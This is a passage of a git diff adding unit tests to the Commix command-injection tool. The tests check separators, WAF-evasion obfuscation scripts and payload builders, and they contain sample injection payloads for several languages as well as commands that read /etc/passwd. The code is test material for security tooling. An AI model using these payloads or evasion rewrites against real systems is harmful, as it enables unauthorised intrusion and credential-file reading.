self.assertTrue(set(settings.SEPARATORS_LVL2).issubset(set(settings.SEPARATORS_LVL3))) + + def test_the_default_separators_are_all_offered(self): + self.assertTrue(set(settings.DEFAULT_SEPARATORS).issubset(set(settings.SEPARATORS_LVL1))) + + def test_the_pipe_separator_is_the_one_the_scripts_compare_against(self): + self.assertIn(settings.PIPE_SEPARATOR, settings.DEFAULT_SEPARATORS) + +class TamperMetadata(unittest.TestCase): + """ + What every script has to declare for the loader to read it back. + """ + def test_every_script_declares_its_own_name_and_tier(self): + offenders = [] + for name, module in tamper_modules().items(): + if not hasattr(module, "__tamper__"): + offenders.append(name + ": no '__tamper__'") + elif module.__tamper__ != name: + offenders.append(name + ": declares '" + str(module.__tamper__) + "'") + if not hasattr(module, "__priority__"): + offenders.append(name + ": no '__priority__'") + self.assertEqual([], offenders) + + def test_every_script_says_what_it_does(self): + # Read the way '--list-tampers' reads it - out of the file, not off the imported module. + missing = [] + for name, module in tamper_modules().items(): + with open(module.__file__) as script: + if not re.search(r"About:(.*)\n", script.read()): + missing.append(name) + self.assertEqual([], missing) + +class FirstLevelBoundaries(unittest.TestCase): + """ + What the level nobody has to ask for is willing to try. + """ + def test_the_first_level_can_open_and_close_a_quote(self): + """ + The commonest shape a real sink has is a value spliced into a quoted string. Without a quote + here those targets answer every boundary the same way and are reported as not injectable, which + is true of what was tried and false of the target. + """ + for quote in settings.QUOTES: + self.assertIn(quote, settings.PREFIXES_LVL1) + self.assertIn(quote, settings.SUFFIXES_LVL1) + + def test_the_levels_above_it_lost_nothing(self): + # The quotes moved down rather than being added, so the wider levels carry what they carried. + for quote in settings.QUOTES: + self.assertIn(quote, settings.PREFIXES_LVL3) + self.assertIn(quote, settings.SUFFIXES_LVL3) + self.assertIn(" #", settings.SUFFIXES_LVL3) + + def test_the_shell_list_carries_only_a_comment_the_shell_reads(self): + """ + '//' and '\\' were added for the evaluation sinks before those had grammars of their own, and + every grammar carries them now - so in the shell's own list they were boundaries no shell reads + as an ending, asked once per separator on every parameter tested. + """ + for borrowed in ("//", "\\"): + self.assertNotIn(borrowed, settings.SUFFIXES_LVL3) + from src.core import eval as _eval + self.assertIn("//", _eval.grammar("php").SUFFIXES_LVL3) + self.assertIn("//", _eval.grammar("javascript").SUFFIXES_LVL3) + +class ConsentCarriesAcrossTargets(unittest.TestCase): + """ + Each retry consent asks whether another pass around an obstacle is worth what it costs, which is + the question the WAF/IPS consent asks about a filter it identified. Asked once and held for the + run, as all four say they are - a list, a crawl or a page of forms otherwise puts the same three + questions to the user once per target. + """ + CONSENTS = ("WHITESPACE_RETRY_CHOICE", "REPLACE_VALUE_RETRY_CHOICE", "DASHLESS_RETRY_CHOICE") + + def setUp(self): + self._baseline = dict(settings._TARGET_STATE_BASELINE) + self._answers = {name: getattr(settings, name) for name in self.CONSENTS} + self._arch = settings.TARGET_ARCH + settings._TARGET_STATE_BASELINE.clear() + for name in self.CONSENTS: + setattr(settings, name, None) + + def tearDown(self): + settings._TARGET_STATE_BASELINE.clear() + settings._TARGET_STATE_BASELINE.update(self._baseline) + for name, answer in self._answers.items(): + setattr(settings, name, answer) + settings.TARGET_ARCH = self._arch + + def test_each_consent_is_listed_beside_the_one_it_is_modelled_on(self): + self.assertIn("WAF_EVASION_CONSENT", settings.RUN_WIDE_STATE) + for name in self.CONSENTS: + self.assertIn(name, settings.RUN_WIDE_STATE) + + def test_an_answer_given_for_one_target_is_not_asked_again_for_the_next(self): + # The first call records the baseline, every call after it is the next target starting. + settings.reset_target_state() + settings.TARGET_ARCH = "x86_64" + for name in self.CONSENTS: + setattr(settings, name, False) + settings.reset_target_state() + for name in self.CONSENTS: + self.assertIs(False, getattr(settings, name), name + " was asked again") + # What the target itself answered does go back, or the next one is tested as though it were this + # one - which is what the reset exists for. + self.assertEqual("", settings.TARGET_ARCH) + +if __name__ == "__main__": + unittest.main() + +class ColoringIsDroppedHoweverTheSwitchArrives(unittest.TestCase): + """ + The switch is answered from the command line before anything is parsed, so that the first message + is already written the way it was asked for - and a profile naming it is answered once the file + has been read, rather than parsed and dropped. + """ + PROBE = ("import sys, os\n" + "sys.path.insert(0, sys.argv[2])\n" + "sys.argv = ['commix.py', '-c', sys.argv[1], '--batch']\n" + "from src.core.parse import cmdline\n" + "from src.utils import colors\n" + "print('CARRIED', cmdline.options.disable_coloring, colors.ENABLE_COLORING)\n") + + def setUp(self): + from src.utils import colors + self.colors = colors + self._enabled = colors.ENABLE_COLORING + + def tearDown(self): + self.colors.ENABLE_COLORING = self._enabled + + def test_dropping_it_holds_and_asks_nothing_of_a_second_call(self): + self.colors.ENABLE_COLORING = True + settings.drop_coloring() + self.assertFalse(self.colors.ENABLE_COLORING) + settings.drop_coloring() + self.assertFalse(self.colors.ENABLE_COLORING) + + def test_a_profile_naming_it_turns_coloring_off(self): + # Parsed into the option and never read, the value reached the run as an answer it did not act + # on: the switch worked written out on the command line and did nothing from a file. + directory = tempfile.mkdtemp() + try: + profile = os.path.join(directory, "profile.ini") + with open(profile, "w") as handle: + handle.write("[Target]\nurl = http://127.0.0.1/?x=1\n\n[Miscellaneous]\ndisable_coloring = True\n") + probe = os.path.join(directory, "probe.py") + with open(probe, "w") as handle: + handle.write(self.PROBE) + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + said = subprocess.check_output([sys.executable, "-I", probe, profile, root], + stderr=subprocess.STDOUT).decode("utf-8", "replace") + carried = [_ for _ in said.splitlines() if _.startswith("CARRIED")] + self.assertEqual(["CARRIED True False"], carried, said) + finally: + for name in os.listdir(directory): + os.unlink(os.path.join(directory, name)) + os.rmdir(directory) + +class NothingIsKeptThatNothingReads(unittest.TestCase): + """ + A value written on every finding and never read once is weight the next reader has to account + for, and reads as state something depends on. + """ + def test_the_write_only_names_are_gone(self): + for name in ("FOUND_EXEC_TIME", "FOUND_DIFF", "IDENTIFIED_SERVER_OS", "WAF_DETECTION_PHASE"): + self.assertFalse(hasattr(settings, name), name + " is written and never read") diff --git a/tests/test_settings_regex.py b/tests/test_settings_regex.py new file mode 100644 index 0000000000..d768658eaa --- /dev/null +++ b/tests/test_settings_regex.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +The patterns that drive recognition - of an encoding, of a directory, of an evaluated language. +A bad edit to one of them fails silently: nothing raises, the thing it looked for simply stops +being found. Compiled here in one sweep, with the busiest ones pinned to a case that must match +and a case that must not. +""" + +import re +import unittest + +from src.utils import settings + +def regex_constants(): + return dict((name, getattr(settings, name)) for name in dir(settings) + if name.endswith("_REGEX") and isinstance(getattr(settings, name), str)) + +class EveryPatternCompiles(unittest.TestCase): + def test_the_sweep_finds_the_patterns_at_all(self): + # Without this the sweep below passes by finding nothing, which is the one way it must not pass. + self.assertGreater(len(regex_constants()), 15) + + def test_every_pattern_compiles(self): + failures = [] + for name, pattern in regex_constants().items(): + try: + re.compile(pattern.replace("%s", "X") if "%s" in pattern else pattern) + except re.error as error: + failures.append(name + ": " + str(error)) + self.assertEqual([], failures) + +class RecognitionPatterns(unittest.TestCase): + """ + What each one is supposed to recognise, and what it must leave alone. + """ + def test_base64_recognition(self): + self.assertTrue(re.search(settings.BASE64_RECOGNITION_REGEX, "Y29tbWl4")) + self.assertFalse(re.search(settings.BASE64_RECOGNITION_REGEX, "not base64!")) + + def test_hex_recognition(self): + self.assertTrue(re.search(settings.HEX_RECOGNITION_REGEX, "0x636f6d6d6978")) + self.assertFalse(re.search(settings.HEX_RECOGNITION_REGEX, "zzz")) + + def test_a_directory_is_recognised_by_the_file_at_the_end_of_it(self): + # The web root is read back out of a path the target printed, which is a path to a file. + self.assertEqual("/var/www/html/index.php", + re.search(settings.DIRECTORY_REGEX, "in /var/www/html/index.php on line 3").group(0)) + self.assertIsNone(re.search(settings.DIRECTORY_REGEX, "/var/www/html")) + + def test_the_php_probe_reads_the_version_back(self): + answer = 'PHP Version 8.2.7' + self.assertEqual("8.2.7", re.search(settings.EVAL_PROBE_REGEX, answer).group(1)) + self.assertIsNone(re.search(settings.EVAL_PROBE_REGEX, "

nothing here

")) + +class EvalGrammarProbes(unittest.TestCase): + """ + Each evaluated language answers a probe of its own, and the pattern that reads the answer back + has to match what that language actually prints. + """ + def test_every_grammar_probe_regex_compiles(self): + import glob, os, importlib + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + checked, failures = 0, [] + for path in sorted(glob.glob(os.path.join(root, "src", "core", "eval", "grammars", "*.py"))): + name = os.path.basename(path)[:-len(".py")] + if name == "__init__": + continue + grammar = importlib.import_module("src.core.eval.grammars." + name) + checked += 1 + try: + re.compile(grammar.PROBE_REGEX) + except re.error as error: + failures.append(name + ": " + str(error)) + self.assertGreater(checked, 4) + self.assertEqual([], failures) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_side_requests.py b/tests/test_side_requests.py new file mode 100644 index 0000000000..9284c5e8e2 --- /dev/null +++ b/tests/test_side_requests.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import threading +import unittest + +from src.utils import settings +from src.core.requests import stability + +class ASideRequestIsTheThreadsOwn(unittest.TestCase): + """ + Each of them is asked for by a run-wide option, but the request it makes is made by one worker. + Whatever another worker has in flight at that moment is a request of its own, and counting it is + what the retry check it is read against depends on. + """ + def setUp(self): + for kind in settings.SIDE_REQUEST_KINDS: + settings.set_side_request(kind, False) + + def tearDown(self): + for kind in settings.SIDE_REQUEST_KINDS: + settings.set_side_request(kind, False) + + def _counted_on_a_worker(self): + counted = {} + def worker(): + before = stability.requests_sent() + stability.note_request_sent() + counted["by"] = stability.requests_sent() - before + thread = threading.Thread(target=worker) + thread.start() + thread.join() + return counted["by"] + + def test_a_thread_in_one_does_not_count_its_own_request(self): + before = stability.requests_sent() + settings.set_side_request("safe_request", True) + stability.note_request_sent() + self.assertEqual(0, stability.requests_sent() - before) + + def test_it_counts_again_once_that_one_is_done(self): + before = stability.requests_sent() + settings.set_side_request("safe_request", True) + settings.set_side_request("safe_request", False) + stability.note_request_sent() + self.assertEqual(1, stability.requests_sent() - before) + + def test_one_thread_being_in_one_says_nothing_about_another(self): + for kind in settings.SIDE_REQUEST_KINDS: + settings.set_side_request(kind, True) + self.assertEqual(1, self._counted_on_a_worker(), kind) + settings.set_side_request(kind, False) + + def test_a_kind_is_asked_about_by_name_as_well_as_in_general(self): + settings.set_side_request("csrf_token", True) + self.assertTrue(settings.in_side_request("csrf_token")) + self.assertFalse(settings.in_side_request("safe_request")) + self.assertTrue(settings.in_side_request()) + +if __name__ == '__main__': + unittest.main() + +# eof diff --git a/tests/test_tamper.py b/tests/test_tamper.py new file mode 100644 index 0000000000..8c334cdb65 --- /dev/null +++ b/tests/test_tamper.py @@ -0,0 +1,637 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import inspect +import importlib +import unittest + +from tests._testutils import SEPARATORS, stage, tamper_modules, separators_in +from src.utils import settings + +# The scripts that cannot write their rewrite without an operator of their own, and why. +SMUGGLES_BY_DESIGN = { + # 'rev' reads from a pipe, and a filter stripping '|' has stripped '&' before it. + "rev": ("&", "&&"), + "randomcase": ("&", "&&"), +} + +""" +A payload that measures its own output, as an extraction one does - the sweep's plain command gives +a script that only rewrites a measurement nothing to rewrite, and it passes by never acting. +""" +def _measuring_payload(separator, target_os): + stage(separator, target_os=target_os) + from src.core.techniques.time_based import tb_payloads + return tb_payloads.get_length(separator, "id", 1, 5, "GET") or stage(separator, target_os=target_os) + +class TamperSeparators(unittest.TestCase): + # 'xforwardedfor' rewrites the request's headers, not the payload, so it takes no payload at all. + NOT_A_PAYLOAD_REWRITE = ("xforwardedfor",) + + def test_the_sweep_reaches_every_script(self): + """ + A script this cannot call raises, is skipped, and takes its separators with it - so the sweep + below would pass by never asking. Counting what was found would not show that. + """ + self.assertGreater(len(tamper_modules()), 40) + raised = [] + for name, module in tamper_modules().items(): + if not hasattr(module, "tamper") or name in self.NOT_A_PAYLOAD_REWRITE: + continue + for separator in SEPARATORS: + for target_os in (settings.OS.UNIX, settings.OS.WINDOWS): + try: + module.tamper(stage(separator, target_os=target_os)) + except Exception as error: + raised.append(name + ": " + type(error).__name__) + self.assertEqual([], sorted(set(raised))) + + """ + A payload must carry only the separator it is proving, anywhere in the string. + """ + def test_no_script_smuggles_an_unproved_separator(self): + offenders = [] + for separator in SEPARATORS: + for name, module in tamper_modules().items(): + if not hasattr(module, "tamper"): + continue + for target_os in (settings.OS.UNIX, settings.OS.WINDOWS): + # A script the loader would refuse cannot smuggle anything, so it is not asked to: this + # mirrors 'tamper_scripts()', which drops one whose dependencies() answers with a reason. + settings.TARGET_OS = target_os + if hasattr(module, "dependencies") and module.dependencies(): + continue + # Two shapes, because a script that rewrites one leaves the other untouched: a plain + # command, and one that measures its own output the way an extraction payload does. + for payload in (stage(separator, target_os=target_os), + _measuring_payload(separator, target_os)): + try: + tampered = module.tamper(payload) + except Exception: + continue + before, after = separators_in(payload), separators_in(tampered) + added = [_ for _ in after if after[_] > before[_] and _ != separator] + if added and separator not in SMUGGLES_BY_DESIGN.get(name, ()): + offenders.append(name + " adds " + ",".join(added) + " under " + repr(separator)) + self.assertEqual([], offenders) + + def test_the_pinned_locale_is_still_an_assignment_after_a_rewrite(self): + """ + Broken up between its letters the name is quoted, and a quoted name is a command name - so the locale a measuring payload pins would go unpinned. + """ + offenders = [] + for separator in (";", settings.END_LINE.LF): + for name, module in tamper_modules().items(): + if not hasattr(module, "tamper"): + continue + settings.TARGET_OS = settings.OS.UNIX + if hasattr(module, "dependencies") and module.dependencies(): + continue + payload = _measuring_payload(separator, settings.OS.UNIX) + self.assertIn(settings.BYTE_LOCALE_EXPORTED, payload, "nothing to pin under " + repr(separator)) + try: + tampered = module.tamper(payload) + except Exception: + continue + if settings.BYTE_LOCALE not in tampered or "export" not in tampered: + offenders.append(name + " under " + repr(separator)) + self.assertEqual([], offenders) + + def test_the_exported_pin_survives_a_rewrite_too(self): + """ + Through backticks the counting is a command of its own, so the pin is exported - and 'export' is a builtin no glob of the same length can stand in for. + """ + from src.core.techniques.time_based import tb_payloads + offenders = [] + try: + for separator in ("&", "&&"): + for name, module in tamper_modules().items(): + if not hasattr(module, "tamper"): + continue + stage(separator) + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + settings.TARGET_OS = settings.OS.UNIX + if hasattr(module, "dependencies") and module.dependencies(): + continue + payload = tb_payloads.get_length(separator, "id", 4, 5, "GET") + self.assertIn(settings.BYTE_LOCALE_EXPORTED, payload, "nothing to pin under " + repr(separator)) + try: + tampered = module.tamper(payload) + except Exception: + continue + if settings.BYTE_LOCALE not in tampered or "export" not in tampered: + offenders.append(name + " under " + repr(separator)) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + self.assertEqual([], offenders) + + def test_fold_alone_carries_no_operator_at_all(self): + from src.tamper.obfuscation.generic import randomcase + for separator in SEPARATORS: + payload = stage(separator, rev=False) + tampered = randomcase.tamper(payload) + before, after = separators_in(payload), separators_in(tampered) + self.assertEqual(before, after, "randomcase changed the separator count under " + repr(separator)) + +class EvalTamperSeparators(unittest.TestCase): + """ + A script that rewrites evaluated code is inert against a shell payload, so the sweep above never + reaches one - which is how an '&&' sat in the PHP rewrite unnoticed. Each is run here against a + payload shaped the way its own language's grammar writes them. + + No evaluated language chains on a shell operator (test_grammars pins that), so any '&', '&&', + '|' or '||' a rewrite introduces is one the payload is not proving. A ';' is not counted: it + terminates a statement in several of these grammars, and one of them appends a bare one. + """ + SHAPES = { + "php": 'system("echo MARKER");', + "python": '__import__("os").system("echo MARKER")', + "ruby": 'system("echo MARKER")', + "javascript": 'require("child_process").execSync("echo MARKER")', + "lua": 'os.execute("echo MARKER")', + } + + def _eval_scripts(self): + return dict((name, module) for name, module in tamper_modules().items() + if "/eval/" in (module.__file__ or "").replace(os.sep, "/")) + + def test_the_sweep_reaches_the_evaluated_language_scripts(self): + acted = set() + for language, shape in self.SHAPES.items(): + settings.EVAL_GRAMMAR = importlib.import_module("src.core.eval.grammars." + language) + stage(";") + settings.RAW_PAYLOAD = shape + for name, module in self._eval_scripts().items(): + if module.tamper(shape) != shape: + acted.add(name) + # Short of this the assertion below passes by never rewriting anything at all. + self.assertGreater(len(acted), 8) + + def test_no_evaluated_rewrite_introduces_a_shell_operator(self): + offenders = [] + for language, shape in self.SHAPES.items(): + settings.EVAL_GRAMMAR = importlib.import_module("src.core.eval.grammars." + language) + stage(";") + settings.RAW_PAYLOAD = shape + before = separators_in(shape) + for name, module in self._eval_scripts().items(): + tampered = module.tamper(shape) + after = separators_in(tampered) + added = [_ for _ in ("&", "&&", "|", "||") if after[_] > before[_]] + if added: + offenders.append(language + "/" + name + " adds " + ",".join(added)) + self.assertEqual([], offenders) + +class TamperOperatingSystem(unittest.TestCase): + """ + A script declared for one shell must answer for the other, since the operating system can settle + after it was accepted - a target that sends no banner is not fingerprinted until a payload lands. + """ + def test_every_os_specific_script_guards_at_runtime(self): + unguarded = [] + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for directory, _, filenames in os.walk(os.path.join(root, "src", "tamper")): + if "posix" not in directory and "windows" not in directory: + continue + for filename in filenames: + if not filename.endswith(".py") or filename == "__init__.py": + continue + with open(os.path.join(directory, filename)) as script: + source = script.read() + start = source.find("def tamper(payload)") + if start == -1: + continue + guarded = "TARGET_OS" in source[start:] + # A script that settles something before any payload is built keeps the guard in 'declare()' + # and calls it from 'tamper()', so the check is still made every time one is rewritten. + if not guarded and "declare()" in source[start:]: + declared = source.find("def declare():") + guarded = declared != -1 and "TARGET_OS" in source[declared:start] + if not guarded: + unguarded.append(filename) + self.assertEqual([], unguarded) + +class TamperCommandIntegrity(unittest.TestCase): + """ + What the user asked to run is what has to run: a rewrite may hide the command, never change it. + """ + def test_arguments_keep_their_own_case(self): + from src.tamper.obfuscation.generic import randomcase + # 'awk -F' is what the operating system users are read with, and '-f' is a different flag. + for command in ("echo Hello", "awk -F ':' '{print $1}' /etc/passwd", "ping -n 1 127.0.0.1"): + arguments = command.partition(settings.SINGLE_WHITESPACE)[2] + for separator in SEPARATORS: + for rev in (False, True): + payload = stage(separator, command=command, rev=rev) + self.assertIn(arguments, randomcase.tamper(payload), + "randomcase altered the arguments of '" + command + "' under " + repr(separator)) + + def test_reversal_keeps_every_word_of_the_command(self): + from src.core.controller import checks + # The words come back in reverse order too, so a command and its arguments read as they were. + for separator in (";", settings.END_LINE.LF): + program = checks.awk_reverse_program(separator) + self.assertNotIn("|", program) + if separator == settings.END_LINE.LF: + self.assertNotIn(";", program, "the newline-separated program still carries a ';'") + + def test_only_the_name_is_varied(self): + from src.tamper.obfuscation.generic import randomcase + for target_os in (settings.OS.UNIX, settings.OS.WINDOWS): + payload = stage(";", command="echo Hello", target_os=target_os) + self.assertIn("Hello", randomcase.tamper(payload)) + +class TamperFormSelection(unittest.TestCase): + """ + Where a rewrite needs an operator, the one it is given is the separator under test. + """ + def test_rev_reads_back_through_the_proved_operator(self): + from src.tamper.obfuscation.posix import rev + expected = {";": "awk", settings.END_LINE.LF: "awk", "|": "|rev", "&": "|rev", "&&": "|rev"} + for separator, marker in expected.items(): + payload = stage(separator, rev=True) + self.assertIn(marker, rev.tamper(payload), + "rev did not use '" + marker + "' under " + repr(separator)) + + def test_no_separator_leaves_the_command_untouched(self): + from src.tamper.obfuscation.posix import rev + for separator in list(SEPARATORS) + ["|"]: + payload = stage(separator, rev=True) + self.assertNotEqual(payload, rev.tamper(payload), + "rev handed back the payload unchanged under " + repr(separator)) + +if __name__ == "__main__": + unittest.main() + +class Printf2Echo(unittest.TestCase): + """ + The script stands in for the reading an ordinal is taken with, so it has to go on matching the + shape that reading is written in - it once went on being selected, and accepted, long after the + payloads had stopped carrying the text it looked for, rewriting nothing at all. + """ + TARGETS = (("boolean_based.bb_payloads", lambda m, s: m.get_char(s, "id", 2, 126)), + ("tempfile_based.tfb_payloads", lambda m, s: m.get_char(s, "/tmp/f", 2, 126, 5, "GET"))) + + def _payloads(self, separator): + stage(separator) + for name, build in self.TARGETS: + module = importlib.import_module("src.core.techniques." + name) + settings.EXPLOITATION_PHASE = True + payload = build(module, separator) + if payload: + yield name, payload + + def _script(self): + from src.tamper.obfuscation.posix import printf2echo + return printf2echo + + def test_it_rewrites_the_reading_it_is_named_for(self): + """ + Put to the script directly: no builder writes this reading under a pipe any more, where every technique reads a byte with 'od' already. + """ + from src.core.controller import checks + for separator in ("|", "||"): + stage(separator) + settings.EXPLOITATION_PHASE = True + payload = separator + "[ 126 -gt " + checks.byte_ordinal("${" + settings.RANDOM_VAR_GENERATOR + "}") + " ]" + self.assertIn("printf '%d'", payload) + tampered = self._script().tamper(payload) + self.assertNotEqual(payload, tampered, "under " + repr(separator)) + self.assertNotIn("printf '%d'", tampered) + self.assertIn("od -An -tuC", tampered) + + def test_it_is_not_written_where_a_pipe_is_not_what_is_proving(self): + for separator in (";", "&", "&&", settings.END_LINE.LF): + for name, payload in self._payloads(separator): + self.assertEqual(payload, self._script().tamper(payload), + name + " rewritten under " + repr(separator)) + + def test_the_reading_it_leaves_behind_is_unsigned(self): + """ + 'od -tuC' answers 195 where the reading it replaces answers -61 on a shell signing its bytes, + so the arithmetic bringing that answer back into range goes out with the reading it corrected. + """ + for separator in ("|", "||"): + for name, payload in self._payloads(separator): + tampered = self._script().tamper(payload) + if tampered == payload: + continue + self.assertNotIn("% " + str(settings.HIGHEST_BYTE + 1), tampered) + +# eof + +class DeclaredBeforeTheFirstPayload(unittest.TestCase): + """ + A script that changes how a payload is put together, rather than how it reads, has to say so + before any payload is built. Said when it first rewrites one, the choice arrives a payload late: + the builders read it as they build, so the first payload of every boundary is put together the + old way - and that is the payload a target is first judged on. + """ + SETTLES = ("space2htab", "space2plus", "space2vtab", "space2ifs", "space2ifsraw", + "multiplespaces", "backticks") + + def _module(self, name): + modules = tamper_modules() + self.assertIn(name, modules, "no tamper script named " + name) + return modules[name] + + def test_every_construction_script_declares(self): + for name in self.SETTLES: + self.assertTrue(hasattr(self._module(name), "declare"), + name + " settles its choice only when it first rewrites a payload") + + def test_declaring_is_what_rewriting_would_have_done(self): + """ + The rewrite still calls it, so a choice that has to follow a target settled later still does. + """ + for name in self.SETTLES: + module = self._module(name) + source = inspect.getsource(module.tamper) + self.assertIn("declare()", source, name + " no longer calls its own declaration") + + def test_the_choice_lands_before_a_payload_is_built(self): + from src.tamper.whitespace.generic import space2htab + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + space2htab.declare() + self.assertNotEqual([settings.SINGLE_WHITESPACE], settings.WHITESPACES, + "declaring left the whitespace as it was") + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + + def test_settling_the_scripts_is_what_declares_them(self): + """ + The hook itself: a script selected for this run has its choice settled while the scripts are + being settled, with no payload rewritten in between. + """ + from src.core.controller import checks + from src.core.parse import cmdline as menu + was = (menu.options.tamper, list(settings.WHITESPACES), list(settings.MULTI_ENCODED_PAYLOAD)) + try: + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.MULTI_ENCODED_PAYLOAD = [] + menu.options.tamper = "space2htab" + checks.tamper_scripts(stored_tamper_scripts=True) + self.assertNotEqual([settings.SINGLE_WHITESPACE], settings.WHITESPACES, + "settling the scripts did not settle what they choose") + finally: + menu.options.tamper, settings.WHITESPACES, settings.MULTI_ENCODED_PAYLOAD = ( + was[0], was[1], was[2]) + + def test_the_substitution_lands_before_a_payload_is_built(self): + from src.tamper.quoting.posix import backticks + was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX) + try: + settings.TARGET_OS = settings.OS.UNIX + from src.core.parse import cmdline as menu + menu.options.interpreter = None + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + backticks.declare() + self.assertEqual(settings.BACKTICK_SUBSTITUTION, settings.CMD_SUB_PREFIX) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = was + +# eof + +class BackticksStayExpressible(unittest.TestCase): + """ + A backtick cannot hold another backtick, so a payload written with them has to carry none nested. + Where the substitution would have to nest, the builders keep a form that does not - and the parts + that are written as '$( )' outright stay that way, which is what keeps them correct rather than an + oversight: converted, 'printf %s "$(cmd)" | ...' would be a backtick inside a backtick. + """ + + def _payloads(self): + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.boolean_based import bb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + for separator in SEPARATORS: + stage(separator) + settings.EXPLOITATION_PHASE = True + settings.TIME_RELATED_ATTACK = True + yield "tb.get_char", separator, tb_payloads.get_char(separator, "id", 2, 126, 5, "GET") + yield "tb.get_length", separator, tb_payloads.get_length(separator, "id", 1, 5, "GET") + yield "tfb.get_char", separator, tfb_payloads.get_char(separator, "/tmp/f", 2, 126, 5, "GET") + settings.TIME_RELATED_ATTACK = False + yield "bb.get_char", separator, bb_payloads.get_char(separator, "id", 2, 126) + + @unittest.skipUnless(os.path.exists("/bin/sh"), "needs a POSIX shell") + def test_a_payload_answers_the_same_whichever_substitution_is_written(self): + """ + Counting backticks cannot tell nesting from adjacency - '`a``b`' and '`a`b``' read alike - so + the payload is asked instead. A backtick holding another answers nothing rather than erroring, + which is exactly the failure a textual check would miss. + """ + import subprocess + from src.core.techniques.boolean_based import bb_payloads + from src.tamper.quoting.posix import backticks + from src.core.parse import cmdline as menu + was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX) + environment = {"LC_ALL": "C", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} + + def answered(payload): + # The pipe forms read the output down the pipe, so the payload stands on its own. + body = payload.lstrip(settings.PIPE_SEPARATOR) + done = subprocess.run(["/bin/sh", "-c", "/bin/echo up" + settings.PIPE_SEPARATOR + body], + env=environment, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL) + return done.returncode + + try: + menu.options.interpreter = None + settings.TARGET_OS = settings.OS.UNIX + for candidate, expected in ((126, 0), (196, 1)): + stage(settings.PIPE_SEPARATOR) + settings.EXPLOITATION_PHASE = True + settings.BOOLEAN_PRINTED_STATE = False + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + nesting = bb_payloads.get_char(settings.PIPE_SEPARATOR, "printf 'x\\303y'", 2, candidate) + backticks.declare() + quoted = bb_payloads.get_char(settings.PIPE_SEPARATOR, "printf 'x\\303y'", 2, candidate) + self.assertEqual(expected, answered(nesting), "the '$( )' form answered wrongly") + self.assertEqual(answered(nesting), answered(quoted), + "the two substitutions disagree at " + str(candidate)) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = was + + def test_the_choice_is_withdrawn_where_it_stops_applying(self): + """ + The comment in the script anticipated this: a target settled as Windows after the script was + accepted would otherwise keep writing a backtick 'cmd.exe' has no meaning for. + """ + from src.tamper.quoting.posix import backticks + from src.core.parse import cmdline as menu + was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS) + try: + menu.options.interpreter = None + settings.TARGET_OS = settings.OS.UNIX + backticks.declare() + self.assertEqual(settings.BACKTICK_SUBSTITUTION, settings.CMD_SUB_PREFIX) + settings.TARGET_OS = settings.OS.WINDOWS + backticks.declare() + self.assertEqual(settings.NESTING_SUBSTITUTION, + (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX), + "the backtick was left standing for a target that has none") + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS = was + +# eof + +class NashornParsesWhatItIsSent(unittest.TestCase): + """ + The engine behind '--tamper=nashornexec' stops at the ECMAScript version before arrow functions, + so anything the grammar writes that postdates it has to be rewritten on the way out. A construct + the engine cannot parse is worse than one it cannot run: the parse fails before the payload is + evaluated at all, so every boundary comes back as the same error page and a technique reading one + answer against another is told nothing by it. + """ + def setUp(self): + self.grammar = settings.EVAL_GRAMMAR + settings.EVAL_GRAMMAR = importlib.import_module("src.core.eval.grammars.javascript") + + def tearDown(self): + settings.EVAL_GRAMMAR = self.grammar + + def _tamper(self, payload): + from src.tamper.eval.javascript import nashornexec + return nashornexec.tamper(payload) + + def test_the_grammar_is_left_with_no_arrow_function(self): + # Asked of the grammar rather than of a spelling written out here, so a payload that starts + # carrying an arrow somewhere else is caught by this too. + grammar = settings.EVAL_GRAMMAR + written = [grammar.halt(grammar.length(grammar.run("id")) + "==2"), + grammar.print_statement(";", ["id"]), + grammar.delay(5, "1==1"), + grammar.sequence(grammar.run("id"), grammar.read_file("/etc/passwd"))] + for payload in written: + self.assertNotIn("=>", self._tamper(payload), "an arrow reaches the 